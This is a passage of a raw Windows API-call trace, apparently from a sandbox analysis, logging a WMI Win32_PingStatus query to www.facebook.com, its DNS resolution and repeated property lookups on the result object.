(bstr="Win32_PingStatus") returned 0x20 [0138.721] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a17c4*=0, plFlavor=0x22a17c8*=0 | out: pVal=0x572e5ec*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a17c4*=8, plFlavor=0x22a17c8*=64) returned 0x0 [0138.721] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a17ec*=0, plFlavor=0x22a17f0*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a17ec*=8, plFlavor=0x22a17f0*=64) returned 0x0 [0138.721] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.722] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.722] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1844*=0, plFlavor=0x22a1848*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a1844*=8, plFlavor=0x22a1848*=64) returned 0x0 [0138.722] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.722] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.722] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1a24*=0, plFlavor=0x22a1a28*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a1a24*=3, plFlavor=0x22a1a28*=64) returned 0x0 [0138.722] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1a58*=0, plFlavor=0x22a1a5c*=0 | out: pVal=0x572e5ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a1a58*=8200, plFlavor=0x22a1a5c*=64) returned 0x0 [0138.723] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1a8c*=0, plFlavor=0x22a1a90*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a1a8c*=8, plFlavor=0x22a1a90*=64) returned 0x0 [0138.723] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.723] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.723] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1ad8*=0, plFlavor=0x22a1adc*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a1ad8*=8, plFlavor=0x22a1adc*=64) returned 0x0 [0138.723] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.723] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.723] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1b24*=0, plFlavor=0x22a1b28*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a1b24*=8, plFlavor=0x22a1b28*=64) returned 0x0 [0138.724] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.724] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e630 | out: puCount=0x572e630*=0x2) returned 0x0 [0138.724] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0x0, pszText=0x0 | out: puBuffLength=0x572e62c*=0xf, pszText=0x0) returned 0x0 [0138.724] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e62c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.724] IWbemClassObject:Get (in: This=0x5c506a0, wszName="address", lFlags=0, pVal=0x572e62c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1d60*=0, plFlavor=0x22a1d64*=0 | out: pVal=0x572e62c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22a1d60*=8, plFlavor=0x22a1d64*=0) returned 0x0 [0138.724] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.724] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.724] IWbemClassObject:Get (in: This=0x5c506a0, wszName="address", lFlags=0, pVal=0x572e680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1d60*=8, plFlavor=0x22a1d64*=0 | out: pVal=0x572e680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22a1d60*=8, plFlavor=0x22a1d64*=0) returned 0x0 [0138.724] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.724] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.724] GetAddrInfoW (in: pNodeName="www.facebook.com", pServiceName=0x0, pHints=0x572e6d0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x572e678 | out: ppResult=0x572e678*=0x5c86890*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c6c2f8*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) returned 0 [0138.766] FreeAddrInfoW (pAddrInfo=0x5c86890*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c6c2f8*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) [0138.766] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.767] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.767] EtwEventActivityIdControl () returned 0x0 [0138.767] EtwEventActivityIdControl () returned 0x0 [0138.767] EtwEventActivityIdControl () returned 0x0 [0138.768] EtwEventActivityIdControl () returned 0x0 [0138.768] EtwEventActivityIdControl () returned 0x0 [0138.768] EtwEventActivityIdControl () returned 0x0 [0138.770] EtwEventWriteTransfer () returned 0x0 [0138.773] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x564 [0138.773] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.773] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.773] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.773] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad028*=0, plFlavor=0x22ad02c*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ad028*=8, plFlavor=0x22ad02c*=64) returned 0x0 [0138.773] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.773] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.773] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad028*=8, plFlavor=0x22ad02c*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ad028*=8, plFlavor=0x22ad02c*=64) returned 0x0 [0138.773] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.773] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.774] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.774] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.774] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.774] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad0c4*=0, plFlavor=0x22ad0c8*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ad0c4*=8, plFlavor=0x22ad0c8*=64) returned 0x0 [0138.774] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.774] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.774] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad0c4*=8, plFlavor=0x22ad0c8*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ad0c4*=8, plFlavor=0x22ad0c8*=64) returned 0x0 [0138.774] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.774] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.774] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.774] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.774] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.774] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad220*=0, plFlavor=0x22ad224*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ad220*=8200, plFlavor=0x22ad224*=64) returned 0x0 [0138.775] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad220*=8200, plFlavor=0x22ad224*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ad220*=8200, plFlavor=0x22ad224*=64) returned 0x0 [0138.775] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.775] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.775] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.775] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad488*=0, plFlavor=0x22ad48c*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ad488*=8, plFlavor=0x22ad48c*=64) returned 0x0 [0138.775] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.775] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.775] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad488*=8, plFlavor=0x22ad48c*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ad488*=8, plFlavor=0x22ad48c*=64) returned 0x0 [0138.775] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.775] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.775] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.775] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.775] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.775] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad5b0*=0, plFlavor=0x22ad5b4*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ad5b0*=8200, plFlavor=0x22ad5b4*=64) returned 0x0 [0138.776] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ad5b0*=8200, plFlavor=0x22ad5b4*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ad5b0*=8200, plFlavor=0x22ad5b4*=64) returned 0x0 [0138.776] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0138.776] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0138.776] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.776] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0138.776] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0138.776] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.776] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e5fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e5f0 | out: pNames=0x572e5f0*="\x01ƀ\x04") returned 0x0 [0138.776] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.776] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.776] SafeArrayGetLBound (in: psa=0x5c78d28, nDim=0x1, plLbound=0x572e488 | out: plLbound=0x572e488) returned 0x0 [0138.777] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.777] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.777] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.777] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.777] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.777] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.777] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.777] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.777] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.777] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.777] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.777] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.777] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.777] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.777] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.777] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.777] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.777] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.778] SysStringByteLen (bstr="__PATH") returned 0xc [0138.778] SysStringByteLen (bstr="__PATH") returned 0xc [0138.778] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22addec*=0, plFlavor=0x22addf0*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22addec*=3, plFlavor=0x22addf0*=64) returned 0x0 [0138.778] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ade20*=0, plFlavor=0x22ade24*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ade20*=8, plFlavor=0x22ade24*=64) returned 0x0 [0138.778] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.778] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.778] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ade78*=0, plFlavor=0x22ade7c*=0 | out: pVal=0x572e5ec*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ade78*=8, plFlavor=0x22ade7c*=64) returned 0x0 [0138.778] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22adea0*=0, plFlavor=0x22adea4*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22adea0*=8, plFlavor=0x22adea4*=64) returned 0x0 [0138.778] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.779] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.779] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22adf04*=0, plFlavor=0x22adf08*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22adf04*=8, plFlavor=0x22adf08*=64) returned 0x0 [0138.779] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.779] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.779] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ae0e4*=0, plFlavor=0x22ae0e8*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22ae0e4*=3, plFlavor=0x22ae0e8*=64) returned 0x0 [0138.779] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ae118*=0, plFlavor=0x22ae11c*=0 | out: pVal=0x572e5ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ae118*=8200, plFlavor=0x22ae11c*=64) returned 0x0 [0138.780] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ae14c*=0, plFlavor=0x22ae150*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22ae14c*=8, plFlavor=0x22ae150*=64) returned 0x0 [0138.780] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.780] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.780] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ae198*=0, plFlavor=0x22ae19c*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ae198*=8, plFlavor=0x22ae19c*=64) returned 0x0 [0138.780] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.780] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.780] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ae1e4*=0, plFlavor=0x22ae1e8*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 